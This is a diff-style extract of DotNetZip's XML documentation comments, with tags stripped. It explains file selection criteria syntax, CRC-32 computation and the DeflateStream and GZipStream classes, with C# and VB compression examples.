+ + The criteria for file selection. + + + + Constructor that allows the caller to specify file selection criteria. + + + + + This constructor allows the caller to specify a set of criteria for + selection of files. + + + + See for a description of + the syntax of the selectionCriteria string. + + + + The criteria for file selection. + + whether to traverse NTFS reparse points (junctions). + + + + + The string specifying which files to include when retrieving. + + + + + Specify the criteria in statements of 3 elements: a noun, an operator, + and a value. Consider the string "name != *.doc" . The noun is + "name". The operator is "!=", implying "Not Equal". The value is + "*.doc". That criterion, in English, says "all files with a name that + does not end in the .doc extension." + + + + Supported nouns include "name" (or "filename") for the filename; + "atime", "mtime", and "ctime" for last access time, last modfied time, + and created time of the file, respectively; "attributes" (or "attrs") + for the file attributes; "size" (or "length") for the file length + (uncompressed); and "type" for the type of object, either a file or a + directory. The "attributes", "type", and "name" nouns all support = + and != as operators. The "size", "atime", "mtime", and "ctime" nouns + support = and !=, and >, >=, <, <= as well. The times are + taken to be expressed in local time. + + + + Specify values for the file attributes as a string with one or more of + the characters H,R,S,A,I,L in any order, implying file attributes of + Hidden, ReadOnly, System, Archive, NotContextIndexed, and ReparsePoint + (symbolic link) respectively. + + + + To specify a time, use YYYY-MM-DD-HH:mm:ss or YYYY/MM/DD-HH:mm:ss as + the format. If you omit the HH:mm:ss portion, it is assumed to be + 00:00:00 (midnight). + + + + The value for a size criterion is expressed in integer quantities of + bytes, kilobytes (use k or kb after the number), megabytes (m or mb), + or gigabytes (g or gb). + + + + The value for a name is a pattern to match against the filename, + potentially including wildcards. The pattern follows CMD.exe glob + rules: * implies one or more of any character, while ? implies one + character. If the name pattern contains any slashes, it is matched to + the entire filename, including the path; otherwise, it is matched + against only the filename without the path. This means a pattern of + "*\*.*" matches all files one directory level deep, while a pattern of + "*.*" matches all files in all directories. + + + + To specify a name pattern that includes spaces, use single quotes + around the pattern. A pattern of "'* *.*'" will match all files that + have spaces in the filename. The full criteria string for that would + be "name = '* *.*'" . + + + + The value for a type criterion is either F (implying a file) or D + (implying a directory). + + + + Some examples: + + + + + criteria + Files retrieved + + + + name != *.xls + any file with an extension that is not .xls + + + + + name = *.mp3 + any file with a .mp3 extension. + + + + + *.mp3 + (same as above) any file with a .mp3 extension. + + + + + attributes = A + all files whose attributes include the Archive bit. + + + + + attributes != H + all files whose attributes do not include the Hidden bit. + + + + + mtime > 2009-01-01 + all files with a last modified time after January 1st, 2009. + + + + + ctime > 2009/01/01-03:00:00 + all files with a created time after 3am (local time), + on January 1st, 2009. + + + + + size > 2gb + all files whose uncompressed size is greater than 2gb. + + + + + type = D + all directories in the filesystem. + + + + + + You can combine criteria with the conjunctions AND, OR, and XOR. Using + a string like "name = *.txt AND size >= 100k" for the + selectionCriteria retrieves entries whose names end in .txt, and whose + uncompressed size is greater than or equal to 100 kilobytes. + + + + For more complex combinations of criteria, you can use parenthesis to + group clauses in the boolean logic. Absent parenthesis, the + precedence of the criterion atoms is determined by order of + appearance. Unlike the C# language, the AND conjunction does not take + precendence over the logical OR. This is important only in strings + that contain 3 or more criterion atoms. In other words, "name = *.txt + and size > 1000 or attributes = H" implies "((name = *.txt AND size + > 1000) OR attributes = H)" while "attributes = H OR name = *.txt + and size > 1000" evaluates to "((attributes = H OR name = *.txt) + AND size > 1000)". When in doubt, use parenthesis. + + + + Using time properties requires some extra care. If you want to + retrieve all entries that were last updated on 2009 February 14, + specify "mtime >= 2009-02-14 AND mtime < 2009-02-15". Read this + to say: all files updated after 12:00am on February 14th, until + 12:00am on February 15th. You can use the same bracketing approach to + specify any time period - a year, a month, a week, and so on. + + + + The syntax allows one special case: if you provide a string with no + spaces, it is treated as a pattern to match for the filename. + Therefore a string like "*.xls" will be equivalent to specifying "name + = *.xls". This "shorthand" notation does not work with compound + criteria. + + + + There is no logic in this class that insures that the inclusion + criteria are internally consistent. For example, it's possible to + specify criteria that says the file must have a size of less than 100 + bytes, as well as a size that is greater than 1000 bytes. Obviously + no file will ever satisfy such criteria, but this class does not check + for or detect such inconsistencies. + + + + + + Thrown in the setter if the value has an invalid syntax. + + + + + Indicates whether searches will traverse NTFS reparse points, like Junctions. + + + + + Returns a string representation of the FileSelector object. + + The string representation of the boolean logic statement of the file + selection criteria for this instance. + + + + Returns the names of the files in the specified directory + that fit the selection criteria specified in the FileSelector. + + + + This is equivalent to calling + with recurseDirectories = false. + + + + The name of the directory over which to apply the FileSelector + criteria. + + + + A collection of strings containing fully-qualified pathnames of files + that match the criteria specified in the FileSelector instance. + + + + + Returns the names of the files in the specified directory that fit the + selection criteria specified in the FileSelector, optionally recursing + through subdirectories. + + + + This method applies the file selection criteria contained in the + FileSelector to the files contained in the given directory, and + returns the names of files that conform to the criteria. + + + + The name of the directory over which to apply the FileSelector + criteria. + + + + Whether to recurse through subdirectories when applying the file + selection criteria. + + + + A collection of strings containing fully-qualified pathnames of files + that match the criteria specified in the FileSelector instance. + + + + + Retrieve the ZipEntry items in the ZipFile that conform to the specified criteria. + + + + + This method applies the criteria set in the FileSelector instance (as described in + the ) to the specified ZipFile. Using this + method, for example, you can retrieve all entries from the given ZipFile that + have filenames ending in .txt. + + + + Normally, applications would not call this method directly. This method is used + by the ZipFile class. + + + + Using the appropriate SelectionCriteria, you can retrieve entries based on size, + time, and attributes. See for a + description of the syntax of the SelectionCriteria string. + + + + + The ZipFile from which to retrieve entries. + + a collection of ZipEntry objects that conform to the criteria. + + + + Retrieve the ZipEntry items in the ZipFile that conform to the specified criteria. + + + + + This method applies the criteria set in the FileSelector instance (as described in + the ) to the specified ZipFile. Using this + method, for example, you can retrieve all entries from the given ZipFile that + have filenames ending in .txt. + + + + Normally, applications would not call this method directly. This method is used + by the ZipFile class. + + + + This overload allows the selection of ZipEntry instances from the ZipFile to be restricted + to entries contained within a particular directory in the ZipFile. + + + + Using the appropriate SelectionCriteria, you can retrieve entries based on size, + time, and attributes. See for a + description of the syntax of the SelectionCriteria string. + + + + + The ZipFile from which to retrieve entries. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + a collection of ZipEntry objects that conform to the criteria. + + + + Summary description for EnumUtil. + + + + + Returns the value of the DescriptionAttribute if the specified Enum + value has one. If not, returns the ToString() representation of the + Enum value. + + The Enum to get the description for + + + + + Converts the string representation of the name or numeric value of one + or more enumerated constants to an equivalent enumerated object. + Note: use the DescriptionAttribute on enum values to enable this. + + The System.Type of the enumeration. + + A string containing the name or value to convert. + + + + + + Converts the string representation of the name or numeric value of one + or more enumerated constants to an equivalent enumerated object. A + parameter specified whether the operation is case-sensitive. Note: + use the DescriptionAttribute on enum values to enable this. + + The System.Type of the enumeration. + + A string containing the name or value to convert. + + + Whether the operation is case-sensitive or not. + + + + + Computes a CRC-32. The CRC-32 algorithm is parameterized - you + can set the polynomial and enable or disable bit + reversal. This can be used for GZIP, BZip2, or ZIP. + + + This type is used internally by DotNetZip; it is generally not used + directly by applications wishing to create, read, or manipulate zip + archive files. + + + + + Indicates the total number of bytes applied to the CRC. + + + + + Indicates the current CRC for all blocks slurped in. + + + + + Returns the CRC32 for the specified stream. + + The stream over which to calculate the CRC32 + the CRC32 calculation + + + + Returns the CRC32 for the specified stream, and writes the input into the + output stream. + + The stream over which to calculate the CRC32 + The stream into which to deflate the input + the CRC32 calculation + + + + Get the CRC32 for the given (word,byte) combo. This is a + computation defined by PKzip for PKZIP 2.0 (weak) encryption. + + The word to start with. + The byte to combine it with. + The CRC-ized result. + + + + Update the value for the running CRC32 using the given block of bytes. + This is useful when using the CRC32() class in a Stream. + + block of bytes to slurp + starting point in the block + how many bytes within the block to slurp + + + + Process one byte in the CRC. + + the byte to include into the CRC . + + + + Process a run of N identical bytes into the CRC. + + + + This method serves as an optimization for updating the CRC when a + run of identical bytes is found. Rather than passing in a buffer of + length n, containing all identical bytes b, this method accepts the + byte value and the length of the (virtual) buffer - the length of + the run. + + + the byte to include into the CRC. + the number of times that byte should be repeated. + + + + Combines the given CRC32 value with the current running total. + + + This is useful when using a divide-and-conquer approach to + calculating a CRC. Multiple threads can each calculate a + CRC32 on a segment of the data, and then combine the + individual CRC32 values at the end. + + the crc value to be combined with this one + the length of data the CRC value was calculated on + + + + Create an instance of the CRC32 class using the default settings: no + bit reversal, and a polynomial of 0xEDB88320. + + + + + Create an instance of the CRC32 class, specifying whether to reverse + data bits or not. + + + specify true if the instance should reverse data bits. + + + + In the CRC-32 used by BZip2, the bits are reversed. Therefore if you + want a CRC32 with compatibility with BZip2, you should pass true + here. In the CRC-32 used by GZIP and PKZIP, the bits are not + reversed; Therefore if you want a CRC32 with compatibility with + those, you should pass false. + + + + + + Create an instance of the CRC32 class, specifying the polynomial and + whether to reverse data bits or not. + + + The polynomial to use for the CRC, expressed in the reversed (LSB) + format: the highest ordered bit in the polynomial value is the + coefficient of the 0th power; the second-highest order bit is the + coefficient of the 1 power, and so on. Expressed this way, the + polynomial for the CRC-32C used in IEEE 802.3, is 0xEDB88320. + + + specify true if the instance should reverse data bits. + + + + + In the CRC-32 used by BZip2, the bits are reversed. Therefore if you + want a CRC32 with compatibility with BZip2, you should pass true + here for the reverseBits parameter. In the CRC-32 used by + GZIP and PKZIP, the bits are not reversed; Therefore if you want a + CRC32 with compatibility with those, you should pass false for the + reverseBits parameter. + + + + + + Reset the CRC-32 class - clear the CRC "remainder register." + + + + Use this when employing a single instance of this class to compute + multiple, distinct CRCs on multiple, distinct data blocks. + + + + + + A Stream that calculates a CRC32 (a checksum) on all bytes read, + or on all bytes written. + + + + + This class can be used to verify the CRC of a ZipEntry when + reading from a stream, or to calculate a CRC when writing to a + stream. The stream should be used to either read, or write, but + not both. If you intermix reads and writes, the results are not + defined. + + + + This class is intended primarily for use internally by the + DotNetZip library. + + + + + + The default constructor. + + + + Instances returned from this constructor will leave the underlying + stream open upon Close(). The stream uses the default CRC32 + algorithm, which implies a polynomial of 0xEDB88320. + + + The underlying stream + + + + The constructor allows the caller to specify how to handle the + underlying stream at close. + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + The underlying stream + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + + + + A constructor allowing the specification of the length of the stream + to read. + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + Instances returned from this constructor will leave the underlying + stream open upon Close(). + + + The underlying stream + The length of the stream to slurp + + + + A constructor allowing the specification of the length of the stream + to read, as well as whether to keep the underlying stream open upon + Close(). + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + The underlying stream + The length of the stream to slurp + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + + + + A constructor allowing the specification of the length of the stream + to read, as well as whether to keep the underlying stream open upon + Close(), and the CRC32 instance to use. + + + + The stream uses the specified CRC32 instance, which allows the + application to specify how the CRC gets calculated. + + + The underlying stream + The length of the stream to slurp + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + the CRC32 instance to use to calculate the CRC32 + + + + Gets the total number of bytes run through the CRC32 calculator. + + + + This is either the total number of bytes read, or the total number of + bytes written, depending on the direction of this stream. + + + + + Provides the current CRC for all blocks slurped in. + + + + The running total of the CRC is kept as data is written or read + through the stream. read this property after all reads or writes to + get an accurate CRC for the entire stream. + + + + + + Indicates whether the underlying stream will be left open when the + CrcCalculatorStream is Closed. + + + + Set this at any point before calling . + + + + + + Read from the stream + + the buffer to read + the offset at which to start + the number of bytes to read + the number of bytes actually read + + + + Write to the stream. + + the buffer from which to write + the offset at which to start writing + the number of bytes to write + + + + Indicates whether the stream supports reading. + + + + + Indicates whether the stream supports seeking. + + + + Always returns false. + + + + + + Indicates whether the stream supports writing. + + + + + Flush the stream. + + + + + Returns the length of the underlying stream. + + + + + The getter for this property returns the total bytes read. + If you use the setter, it will throw + . + + + + + Seeking is not supported on this stream. This method always throws + + + N/A + N/A + N/A + + + + This method always throws + + + N/A + + + + Closes the stream. + + + + + A class for compressing and decompressing streams using the Deflate algorithm. + + + + + + The DeflateStream is a Decorator on a . It adds DEFLATE compression or decompression to any + stream. + + + + Using this stream, applications can compress or decompress data via stream + Read and Write operations. Either compresssion or decompression + can occur through either reading or writing. The compression format used is + DEFLATE, which is documented in IETF RFC 1951, "DEFLATE + Compressed Data Format Specification version 1.3.". + + + + This class is similar to , except that + ZlibStream adds the RFC + 1950 - ZLIB framing bytes to a compressed stream when compressing, or + expects the RFC1950 framing bytes when decompressing. The DeflateStream + does not. + + + + + + + + + + Create a DeflateStream using the specified CompressionMode. + + + + When mode is CompressionMode.Compress, the DeflateStream will use + the default compression level. The "captive" stream will be closed when + the DeflateStream is closed. + + + + This example uses a DeflateStream to compress data from a file, and writes + the compressed data to another file. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (Stream compressor = new DeflateStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".deflated") + Using compressor As Stream = New DeflateStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream which will be read or written. + Indicates whether the DeflateStream will compress or decompress. + + + + Create a DeflateStream using the specified CompressionMode and the specified CompressionLevel. + + + + + + When mode is CompressionMode.Decompress, the level parameter is + ignored. The "captive" stream will be closed when the DeflateStream is + closed. + + + + + + + This example uses a DeflateStream to compress data from a file, and writes + the compressed data to another file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (Stream compressor = new DeflateStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + while (n != 0) + { + if (n > 0) + compressor.Write(buffer, 0, n); + n= input.Read(buffer, 0, buffer.Length); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".deflated") + Using compressor As Stream = New DeflateStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to be read or written while deflating or inflating. + Indicates whether the DeflateStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a DeflateStream using the specified + CompressionMode, and explicitly specify whether the + stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compression. Specify true for + the parameter to leave the stream open. + + + + The DeflateStream will use the default compression level. + + + + See the other overloads of this constructor for example code. + + + + + The stream which will be read or written. This is called the + "captive" stream in other places in this documentation. + + + + Indicates whether the DeflateStream will compress or decompress. + + + true if the application would like the stream to + remain open after inflation/deflation. + + + + Create a DeflateStream using the specified CompressionMode + and the specified CompressionLevel, and explicitly specify whether + the stream should be left open after Deflation or Inflation. + + + + + + When mode is CompressionMode.Decompress, the level parameter is ignored. + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + that will be re-read after + compression. Specify true for the parameter + to leave the stream open. + + + + + + + This example shows how to use a DeflateStream to compress data from + a file, and store the compressed data into another file. + + + using (var output = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (Stream compressor = new DeflateStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + while (n != 0) + { + if (n > 0) + compressor.Write(buffer, 0, n); + n= input.Read(buffer, 0, buffer.Length); + } + } + } + // can write additional data to the output stream here + } + + + + Using output As FileStream = File.Create(fileToCompress & ".deflated") + Using input As Stream = File.OpenRead(fileToCompress) + Using compressor As Stream = New DeflateStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + ' can write additional data to the output stream here. + End Using + + + The stream which will be read or written. + Indicates whether the DeflateStream will compress or decompress. + true if the application would like the stream to remain open after inflation/deflation. + A tuning knob to trade speed for effectiveness. + + + + This property sets the flush behavior on the stream. + + See the ZLIB documentation for the meaning of the flush behavior. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + + The ZLIB strategy to be used during compression. + + + + By tweaking this parameter, you may be able to optimize the compression for + data with particular characteristics. + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + Application code won't call this code directly. This method may be + invoked in two distinct scenarios. If disposing == true, the method + has been called directly or indirectly by a user's code, for example + via the public Dispose() method. In this case, both managed and + unmanaged resources can be referenced and disposed. If disposing == + false, the method has been called by the runtime from inside the + object finalizer and this method should not reference other objects; + in that case only unmanaged resources must be referenced or + disposed. + + + + true if the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read data from the stream. + + + + + If you wish to use the DeflateStream to compress data while + reading, you can create a DeflateStream with + CompressionMode.Compress, providing an uncompressed data stream. + Then call Read() on that DeflateStream, and the data read will be + compressed as you read. If you wish to use the DeflateStream to + decompress data while reading, you can create a DeflateStream with + CompressionMode.Decompress, providing a readable compressed data + stream. Then call Read() on that DeflateStream, and the data read + will be decompressed as you read. + + + + A DeflateStream can be used for Read() or Write(), but not both. + + + + The buffer into which the read data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Write data to the stream. + + + + + If you wish to use the DeflateStream to compress data while + writing, you can create a DeflateStream with + CompressionMode.Compress, and a writable output stream. Then call + Write() on that DeflateStream, providing uncompressed data + as input. The data sent to the output stream will be the compressed form + of the data written. If you wish to use the DeflateStream to + decompress data while writing, you can create a DeflateStream with + CompressionMode.Decompress, and a writable output stream. Then + call Write() on that stream, providing previously compressed + data. The data sent to the output stream will be the decompressed form of + the data written. + + + + A DeflateStream can be used for Read() or Write(), + but not both. + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using DEFLATE (RFC 1951). + + + + Uncompress it with . + + + DeflateStream.UncompressString(byte[]) + DeflateStream.CompressBuffer(byte[]) + GZipStream.CompressString(string) + ZlibStream.CompressString(string) + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using DEFLATE. + + + + Uncompress it with . + + + DeflateStream.CompressString(string) + DeflateStream.UncompressBuffer(byte[]) + GZipStream.CompressBuffer(byte[]) + ZlibStream.CompressBuffer(byte[]) + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a DEFLATE'd byte array into a single string. + + + DeflateStream.CompressString(String) + DeflateStream.UncompressBuffer(byte[]) + GZipStream.UncompressString(byte[]) + ZlibStream.UncompressString(byte[]) + + + A buffer containing DEFLATE-compressed data. + + + The uncompressed string + + + + Uncompress a DEFLATE'd byte array into a byte array. + + + DeflateStream.CompressBuffer(byte[]) + DeflateStream.UncompressString(byte[]) + GZipStream.UncompressBuffer(byte[]) + ZlibStream.UncompressBuffer(byte[]) + + + A buffer containing data that has been compressed with DEFLATE. + + + The data in uncompressed form + + + + A class for compressing and decompressing GZIP streams. + + + + + The GZipStream is a Decorator on a + . It adds GZIP compression or decompression to any + stream. + + + + Like the System.IO.Compression.GZipStream in the .NET Base Class Library, the + Ionic.Zlib.GZipStream can compress while writing, or decompress while + reading, but not vice versa. The compression method used is GZIP, which is + documented in IETF RFC + 1952, "GZIP file format specification version 4.3". + + + A GZipStream can be used to decompress data (through Read()) or + to compress data (through Write()), but not both. + + + + If you wish to use the GZipStream to compress data, you must wrap it + around a write-able stream. As you call Write() on the GZipStream, the + data will be compressed into the GZIP format. If you want to decompress data, + you must wrap the GZipStream around a readable stream that contains an + IETF RFC 1952-compliant stream. The data will be decompressed as you call + Read() on the GZipStream. + + + + Though the GZIP format allows data from multiple files to be concatenated + together, this stream handles only a single segment of GZIP format, typically + representing a single file. + + + + This class is similar to and . + ZlibStream handles RFC1950-compliant streams. + handles RFC1951-compliant streams. This class handles RFC1952-compliant streams. + + + + + + + + + + The comment on the GZIP stream. + + + + + The GZIP format allows for each file to optionally have an associated + comment stored with the file. The comment is encoded with the ISO-8859-1 + code page. To include a comment in a GZIP stream you create, set this + property before calling Write() for the first time on the + GZipStream. + + + + When using GZipStream to decompress, you can retrieve this property + after the first call to Read(). If no comment has been set in the + GZIP bytestream, the Comment property will return null + (Nothing in VB). + + + + + + The FileName for the GZIP stream. + + + + + + The GZIP format optionally allows each file to have an associated + filename. When compressing data (through Write()), set this + FileName before calling Write() the first time on the GZipStream. + The actual filename is encoded into the GZIP bytestream with the + ISO-8859-1 code page, according to RFC 1952. It is the application's + responsibility to insure that the FileName can be encoded and decoded + correctly with this code page. + + + + When decompressing (through Read()), you can retrieve this value + any time after the first Read(). In the case where there was no filename + encoded into the GZIP bytestream, the property will return null (Nothing + in VB). + + + + + + The last modified time for the GZIP stream. + + + + GZIP allows the storage of a last modified time with each GZIP entry. + When compressing data, you can set this before the first call to + Write(). When decompressing, you can retrieve this value any time + after the first call to Read(). + + + + + The CRC on the GZIP stream. + + + This is used for internal error checking. You probably don't need to look at this property. + + + + + Create a GZipStream using the specified CompressionMode. + + + + + When mode is CompressionMode.Compress, the GZipStream will use the + default compression level. + + + + As noted in the class documentation, the CompressionMode (Compress + or Decompress) also establishes the "direction" of the stream. A + GZipStream with CompressionMode.Compress works only through + Write(). A GZipStream with + CompressionMode.Decompress works only through Read(). + + + + + + This example shows how to use a GZipStream to compress data. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new GZipStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + + This example shows how to use a GZipStream to uncompress a file. + + private void GunZipFile(string filename) + { + if (!filename.EndsWith(".gz)) + throw new ArgumentException("filename"); + var DecompressedFile = filename.Substring(0,filename.Length-3); + byte[] working = new byte[WORKING_BUFFER_SIZE]; + int n= 1; + using (System.IO.Stream input = System.IO.File.OpenRead(filename)) + { + using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) + { + using (var output = System.IO.File.Create(DecompressedFile)) + { + while (n !=0) + { + n= decompressor.Read(working, 0, working.Length); + if (n > 0) + { + output.Write(working, 0, n); + } + } + } + } + } + } + + + + Private Sub GunZipFile(ByVal filename as String) + If Not (filename.EndsWith(".gz)) Then + Throw New ArgumentException("filename") + End If + Dim DecompressedFile as String = filename.Substring(0,filename.Length-3) + Dim working(WORKING_BUFFER_SIZE) as Byte + Dim n As Integer = 1 + Using input As Stream = File.OpenRead(filename) + Using decompressor As Stream = new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, True) + Using output As Stream = File.Create(UncompressedFile) + Do + n= decompressor.Read(working, 0, working.Length) + If n > 0 Then + output.Write(working, 0, n) + End IF + Loop While (n > 0) + End Using + End Using + End Using + End Sub + + + + The stream which will be read or written. + Indicates whether the GZipStream will compress or decompress. + + + + Create a GZipStream using the specified CompressionMode and + the specified CompressionLevel. + + + + + The CompressionMode (Compress or Decompress) also establishes the + "direction" of the stream. A GZipStream with + CompressionMode.Compress works only through Write(). A + GZipStream with CompressionMode.Decompress works only + through Read(). + + + + + + + This example shows how to use a GZipStream to compress a file into a .gz file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".gz")) + { + using (Stream compressor = new GZipStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".gz") + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to be read or written while deflating or inflating. + Indicates whether the GZipStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a GZipStream using the specified CompressionMode, and + explicitly specify whether the stream should be left open after Deflation + or Inflation. + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compressed data has been written + to it. Specify true for the parameter to leave + the stream open. + + + + The (Compress or Decompress) also + establishes the "direction" of the stream. A GZipStream with + CompressionMode.Compress works only through Write(). A GZipStream + with CompressionMode.Decompress works only through Read(). + + + + The GZipStream will use the default compression level. If you want + to specify the compression level, see . + + + + See the other overloads of this constructor for example code. + + + + + + The stream which will be read or written. This is called the "captive" + stream in other places in this documentation. + + + Indicates whether the GZipStream will compress or decompress. + + + + true if the application would like the base stream to remain open after + inflation/deflation. + + + + + Create a GZipStream using the specified CompressionMode and the + specified CompressionLevel, and explicitly specify whether the + stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compressed data has been written + to it. Specify true for the parameter to + leave the stream open. + + + + As noted in the class documentation, the CompressionMode (Compress + or Decompress) also establishes the "direction" of the stream. A + GZipStream with CompressionMode.Compress works only through + Write(). A GZipStream with CompressionMode.Decompress works only + through Read(). + + + + + + This example shows how to use a GZipStream to compress data. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream which will be read or written. + Indicates whether the GZipStream will compress or decompress. + true if the application would like the stream to remain open after inflation/deflation. + A tuning knob to trade speed for effectiveness. + + + + This property sets the flush behavior on the stream. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + This method may be invoked in two distinct scenarios. If disposing + == true, the method has been called directly or indirectly by a + user's code, for example via the public Dispose() method. In this + case, both managed and unmanaged resources can be referenced and + disposed. If disposing == false, the method has been called by the + runtime from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged 